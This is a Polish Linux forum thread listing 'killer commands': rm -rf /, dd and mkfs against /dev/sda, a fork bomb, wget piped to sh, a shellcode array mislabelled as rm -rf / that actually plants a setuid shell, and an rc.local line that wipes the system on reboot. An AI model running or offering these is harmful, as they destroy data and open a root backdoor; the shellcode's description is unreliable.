Nowe posty

xx Jak usunąć kilka dowiązań twardych jednym poleceniem. (3)
2019-06-14, 12:12:10
xx Skrypt sprawdzający miejsce na dysku (1)
2019-06-13, 13:55:00
xx Samba server (3)
2019-06-10, 17:01:44
xx Skrypt tworzący użytkownika (3)
2019-06-07, 17:11:55
xx Jaki serwis komp. we Wrocławiu (0)
2019-06-06, 12:39:23
xx serwer wydruku (1)
2019-06-04, 13:57:58
xx mod_security i roundcube (0)
2019-05-27, 14:27:03
xx Touchpad po pewnym losowym czasie przestaje reagować (33)
2019-05-27, 10:14:21
xx [ROZWIĄZANY] przygotowanie zeskanowanego pdf do OCR (6)
2019-05-24, 14:46:43
xx Przydatne Linki (1)
2019-05-23, 18:05:04

Autor Wątek: Zabójcze polecenia dla Linuksa  (Przeczytany 7872 razy)

Offline

  • Users
  • Nowy na forum
  • *
  • Wiadomości: 23
    • Zobacz profil
Zabójcze polecenia dla Linuksa
« dnia: 2011-09-26, 10:54:58 »
Zabójcze  polecenia dla Linuksa
znacie jakieś.

Offline ultr

  • Users
  • Guru
  • *****
  • Wiadomości: 1185
    • Zobacz profil
Zabójcze polecenia dla Linuksa
« Odpowiedź #1 dnia: 2011-09-26, 11:40:07 »
rm -rf \\

albo

dd if_/dev/zero of_/dev/sda

oraz oczywiście fork-bomb w bashu, jeśli są źle ustawione limity dla użytkowników.

Po co ci to? ;)

Offline Piotr Chmura

  • Administrator
  • Guru
  • *****
  • Wiadomości: 5060
    • Zobacz profil
Zabójcze polecenia dla Linuksa
« Odpowiedź #2 dnia: 2011-09-26, 12:07:07 »
oczywiście spod root'a

Offline

  • Users
  • Nowy na forum
  • *
  • Wiadomości: 23
    • Zobacz profil
Zabójcze polecenia dla Linuksa
« Odpowiedź #3 dnia: 2011-09-26, 14:57:06 »
Cytat: ultr
rm -rf \\

albo

dd if_/dev/zero of_/dev/sda

oraz oczywiście fork-bomb w bashu, jeśli są źle ustawione limity dla użytkowników.

Po co ci to? ;)
Chce zniszczyć najnowsze ubuntu na maszynie wirtualnej.

Offline Rafi X

  • Users
  • Guru
  • *****
  • Wiadomości: 758
  • Nie ufaj nikomu w internecie. Nawet mi..
    • Zobacz profil
    • Google+ / Tech
Zabójcze polecenia dla Linuksa
« Odpowiedź #4 dnia: 2011-09-26, 17:34:39 »
Forkbombę
1. próbowałem
2. i zabezpieczałem

O dziwo openSUSE tego nie miało, a Fedora miała. Sam nie wiem czemu nie ma standardowo ograniczeń, przecież to jawna dziura.
PC: AsRock, AMD FX-6300, 8GB DDR3, Palit GTX 680, SanDisk Ultra II 240GB, Seagate 500GB, openSUSE 42.1
Laptop: C2D T7300, 4GB DDR2, GeForce 8600 GS, Samsung 500 GB, openSUSE 42.1
Mobilnie: Moto G 1gen (Android 5.1), Lumia 625 (Windows 10), iPhone 4 (iOS 7.1.2), Nokia 6310i

Offline

  • Users
  • Użytkownik
  • **
  • Wiadomości: 68
    • Zobacz profil
Zabójcze polecenia dla Linuksa
« Odpowiedź #5 dnia: 2011-09-26, 19:03:04 »
Cytat: ssk
Cytat: ultr
rm -rf \\

albo

dd if_/dev/zero of_/dev/sda

oraz oczywiście fork-bomb w bashu, jeśli są źle ustawione limity dla użytkowników.

Po co ci to? ;)
Chce zniszczyć najnowsze ubuntu na maszynie wirtualnej.
Lubię to! Szczerze mówiąc to nigdy nie rozwalałem Ubuntu ;) ...jeszcze

Offline

  • Users
  • Nowy na forum
  • *
  • Wiadomości: 23
    • Zobacz profil
Zabójcze polecenia dla Linuksa
« Odpowiedź #6 dnia: 2011-09-26, 19:47:34 »
Po żmudnym szukaniu  ;) znalazłem więcej niszczących poleceń.

Cytuj
Poniżej krótka lista 7 komend, których powinieneś unikać.

1. Kod:

rm -rf /

Ta komenda skasuje wszystkie pliki w katalogu roota / (rekursywnie i siłowo)

2. Kod:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68"
"\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\xdf\\xd9\\x68\\x8d\\x99"
"\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7"
"\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56"
"\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0\\x0b\\xcd\\x80\\x31"
"\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69"
"\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

A to szesnastkowa versja komendy nr 1 [rm -rf /], która może zaskoczyć nawet doświadczonego konsolowca…

3. Kod:

mkfs.ext3 /dev/sda

To polecenie ponownie sformatuje lub wymaże wszystkie pliki z woluminu wymienionego po komendzie mkfs.

4. Kod:

:( ){:|:&};:

To polecenie nakaże twojemu systemowi wykonanie olbrzymiej ilości procesów aż do zawieszenia. może też doprowadzić do

uszkodzenia danych.

5. Kod:

any_command > /dev/sda

Surowe dane zostaną zapisane do wskazanego urządzenia (tu: sda), co doprowadzi do uszkodzenia systemu plików i utraty danych.

6. Kod:

wget http://some_untrusted_source -O- | sh

Nigdy nie ściągaj z niepewnych źródeł i nie wykonuj kodu, który może być złośliwy.

7. Kod:

mv /home/yourhomedirectory/* /dev/null

Ta komenda przeniesie wszystkie dane z katalogu domowego do miejsca, które nie istnieje. Więc pliki wpadają w czarną dziurę:(

To tylko garstka poleceń, która ma raczej zadanie uczulić i przestrzec przed bezmyślnym wykonywaniem poleceń internetowych „guru”.

Offline roobal

  • Users
  • Guru
  • *****
  • Wiadomości: 2052
    • Zobacz profil
Zabójcze polecenia dla Linuksa
« Odpowiedź #7 dnia: 2011-09-26, 21:36:07 »
Cytat: ssk
Cytuj
3. Kod:

mkfs.ext3 /dev/sda

To polecenie ponownie sformatuje lub wymaże wszystkie pliki z woluminu wymienionego po komendzie mkfs.
Pod warunkiem, że partycje są odmontowane.

Cytat: ssk
Cytuj
5. Kod:

any_command > /dev/sda

Surowe dane zostaną zapisane do wskazanego urządzenia (tu: sda), co doprowadzi do uszkodzenia systemu plików i utraty danych.
Nie działa, powłoka wyświetli informację o nieznanym poleceniu.

Cytat: ssk
Cytuj
7. Kod:

mv /home/yourhomedirectory/* /dev/null

Ta komenda przeniesie wszystkie dane z katalogu domowego do miejsca, które nie istnieje. Więc pliki wpadają w czarną dziurę:(
Też nie działa, dokładniej

roobal@roobal-VirtualBox:~$ sudo mv /home/roobal/ /dev/null 
mv: cannot overwrite non-directory `/dev/null' with directory `/home/roobal/'
Pozdrawiam!

Offline

  • Users
  • Prawie jak Guru
  • ****
  • Wiadomości: 263
    • Zobacz profil
Zabójcze polecenia dla Linuksa
« Odpowiedź #8 dnia: 2011-09-27, 21:50:04 »
Cytat: ssk
Cytuj
2. Kod:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68"
"\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\xdf\\xd9\\x68\\x8d\\x99"
"\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7"
"\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56"
"\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0\\x0b\\xcd\\x80\\x31"
"\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69"
"\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

A to szesnastkowa versja komendy nr 1 [rm -rf /], która może zaskoczyć nawet doświadczonego konsolowca…
Raczej mało który doświadczony użytkownik bezmyślnie wykonuje komendy znalezione w sieci, których działania nie rozumie.

Siła tej komendy polega na tym, że nawet zaawansowany użytkownik nie zrozumie co ona właściwie robi. W związku z czym jedynie kompletny laik ją wykona.
Natura dała nam dwoje oczu, dwoje uszu, ale tylko jeden język po to, abyśmy więcej patrzyli i słuchali, niż mówili. -- konwencjonalnie Sokrates

Offline

  • Users
  • Stały bywalec
  • ***
  • Wiadomości: 214
    • Zobacz profil
Zabójcze polecenia dla Linuksa
« Odpowiedź #9 dnia: 2011-09-27, 22:51:35 »
Hehe ... i wpuść tu człowieku kogoś przez Team Viewer na maszynę z linuksem z podmontowanymi partycjami np. NTFS ;]
echo "rm -rf /" >> /etc/rc.local && reboot
...
Dystrybucja: $ lsb_release -a